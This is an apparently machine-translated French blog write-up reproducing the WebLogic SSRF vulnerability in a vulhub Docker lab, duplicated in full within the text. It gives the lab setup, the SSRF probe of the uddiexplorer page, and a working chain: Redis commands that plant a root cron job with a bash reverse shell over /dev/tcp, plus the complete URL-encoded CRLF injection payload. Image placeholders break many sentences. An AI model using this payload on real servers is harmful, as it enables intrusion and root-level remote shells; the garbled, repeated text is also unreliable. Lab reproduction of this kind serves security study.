Récurrence de la vulnérabilité de Weblogic SSRF

L'environnement de machine virtuelle utilisé est ubuntu16.04 et l'environnement docker est construit sur la machine virtuelle. Utilisez vulhub pour reproduire.
Utilisez git pour télécharger, la commande est git clone https://github.com/vulhub/vulhub.git pour
Insérez la description de l'image ici
entrer la vulnérabilité ssrf,
cd / vulhub / weblogic / ssrf pour
Insérez la description de l'image ici
créer l'environnement de vulnérabilité
docker-compose up -d pour
Insérez la description de l'image ici
afficher le adresse de la machine virtuelle container
docker ps
Insérez la description de l'image ici
Pour 192.168.6.136, visitez http://192.168.6.136:7001/uddiexplorer/SearchPublicRegistries.jsp pour
Insérez la description de l'image ici
créer avec succès un environnement de vulnérabilité.

test de vulnérabilité ssrf
Ouvrez l'outil proxy pour intercepter le package de requête http

Insérez la description de l'image ici
Vous pouvez voir qu'il y a une URL dans le paramètre, changer le paramètre en http://192.168.6.136:7001
Insérez la description de l'image ici
, puis accéder à un port inexistant.
Insérez la description de l'image ici
À partir des résultats de deux paquets de requêtes http différents, nous pouvons voir qu'il y a cette vulnérabilité ssrf dans weblogic.
Afficher l'adresse du conteneur weblogic
docker inspect 642ac3b75ae8
Insérez la description de l'image ici
De même, docker inspect fe0822abff42
Insérez la description de l'image ici
injecte des en-têtes HTTP et utilise le shell de rebond de Redis
pour détecter le serveur Redis dans l'intranet via SSRF.
Insérez la description de l'image ici
Envoyez la commande au serveur Redis pour
définir 1 "\ n \ n \ n \ n * * * * * root bash -i> & / dev / tcp / monitoring ip / port 0> & 1 \ n \ n \ n \ n "
config set dir / etc /
config set dbfilename crontab
save
Utiliser le retour chariot et saut de ligne pour connecter les trois commandes, le codage URL du symbole de nouvelle ligne est% od% oa, et le code injecté est
test% 0D% 0A% 0D% 0Aset% 201% 20% 22% 5Cn% 5Cn% 5Cn% 5Cn * % 20 *% 20 *% 20 *% 20 *% 20root% 20bash% 20-i% 20% 3E% 26% 20% 2Fdev% 2Ftcp% 2F172.19.0.1% 2F21% 200% 3E% 261% 5Cn% 5Cn % 5Cn% 5Cn% 22% 0D% 0Aconfig% 20set% 20dir% 20% 2Fetc% 2F% 0D% 0Aconfig% 20set% 20dbfilename% 20crontab% 0D% 0Asave% 0D% 0A% 0D% 0Aaaa
Écoutez dans la machine virtuelle, la passerelle du conteneur est 172.19.0.1, qui est l'adresse de la machine virtuelle.
Insérez la description de l'image ici
Laisser le
Insérez la description de l'image ici
succès obtenir shell.
Insérez la description de l'image ici
À ce stade, la vulnérabilité s'est reproduite avec succès.

L'environnement de machine virtuelle utilisé est ubuntu16.04 et l'environnement docker est construit sur la machine virtuelle. Utilisez vulhub pour reproduire.
Utilisez git pour télécharger, la commande est git clone https://github.com/vulhub/vulhub.git pour
Insérez la description de l'image ici
entrer la vulnérabilité ssrf,
cd / vulhub / weblogic / ssrf pour
Insérez la description de l'image ici
créer l'environnement de vulnérabilité
docker-compose up -d pour
Insérez la description de l'image ici
afficher le adresse de la machine virtuelle container
docker ps
Insérez la description de l'image ici
Pour 192.168.6.136, visitez http://192.168.6.136:7001/uddiexplorer/SearchPublicRegistries.jsp pour
Insérez la description de l'image ici
créer avec succès un environnement de vulnérabilité.

test de vulnérabilité ssrf
Ouvrez l'outil proxy pour intercepter le package de requête http

Insérez la description de l'image ici
Vous pouvez voir qu'il y a une URL dans le paramètre, changer le paramètre en http://192.168.6.136:7001
Insérez la description de l'image ici
, puis accéder à un port inexistant.
Insérez la description de l'image ici
À partir des résultats de deux paquets de requêtes http différents, nous pouvons voir qu'il y a cette vulnérabilité ssrf dans weblogic.
Afficher l'adresse du conteneur weblogic
docker inspect 642ac3b75ae8
Insérez la description de l'image ici
De même, docker inspect fe0822abff42
Insérez la description de l'image ici
injecte des en-têtes HTTP et utilise le shell de rebond de Redis
pour détecter le serveur Redis dans l'intranet via SSRF.
Insérez la description de l'image ici
Envoyez la commande au serveur Redis pour
définir 1 "\ n \ n \ n \ n * * * * * root bash -i> & / dev / tcp / monitoring ip / port 0> & 1 \ n \ n \ n \ n "
config set dir / etc /
config set dbfilename crontab
save
Utiliser le retour chariot et saut de ligne pour connecter les trois commandes, le codage URL du symbole de nouvelle ligne est% od% oa, et le code injecté est
test% 0D% 0A% 0D% 0Aset% 201% 20% 22% 5Cn% 5Cn% 5Cn% 5Cn * % 20 *% 20 *% 20 *% 20 *% 20root% 20bash% 20-i% 20% 3E% 26% 20% 2Fdev% 2Ftcp% 2F172.19.0.1% 2F21% 200% 3E% 261% 5Cn% 5Cn % 5Cn% 5Cn% 22% 0D% 0Aconfig% 20set% 20dir% 20% 2Fetc% 2F% 0D% 0Aconfig% 20set% 20dbfilename% 20crontab% 0D% 0Asave% 0D% 0A% 0D% 0Aaaa
Écoutez dans la machine virtuelle, la passerelle du conteneur est 172.19.0.1, qui est l'adresse de la machine virtuelle.
Insérez la description de l'image ici
Laisser le
Insérez la description de l'image ici
succès obtenir shell.
Insérez la description de l'image ici
À ce stade, la vulnérabilité s'est reproduite avec succès.

Je suppose que tu aimes

Origine blog.csdn.net/weixin_44110913/article/details/109540218
conseillé
Classement